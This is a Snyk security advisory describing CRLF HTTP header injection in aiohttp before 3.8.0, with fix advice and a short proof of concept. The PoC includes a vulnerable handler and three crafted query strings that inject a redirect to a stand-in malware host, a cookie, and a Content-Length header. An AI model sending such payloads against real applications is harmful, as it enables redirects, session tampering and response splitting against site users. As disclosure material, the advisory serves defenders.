HTTP Header Injection Affecting aiohttp package, versions [,3.8.0)


0.0
high

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-AIOHTTP-1584144
  • published 26 Nov 2021
  • disclosed 10 Sep 2021
  • credit Unknown

Introduced: 10 Sep 2021

CVE NOT AVAILABLE CWE-644 Open this link in a new tab

How to fix?

Upgrade aiohttp to version 3.8.0 or higher.

Overview

Affected versions of this package are vulnerable to HTTP Header Injection since aiohttp simply concatenated headers without any validation. This allowed an attacker to inject arbitrary content into the headers, including CRLF characters.

PoC

// For this code
import aiohttp.web
async def handler(req: aiohttp.web.Request):
    return aiohttp.web.Response(headers={
        'X-Debug-Param': req.query.get('param', ''),
    })
app = aiohttp.web.Application()
app.add_get('/', handler)
// Send the following requests to the webapp
/?param=%0d%0aLocation:%20https://malware.host/  # open redirect
/?param=%0d%0aSet-Cookie:%20...                  # set some cookie
/?param=%0d%0aContent-Length:%2040%0d%0a         # skip next headers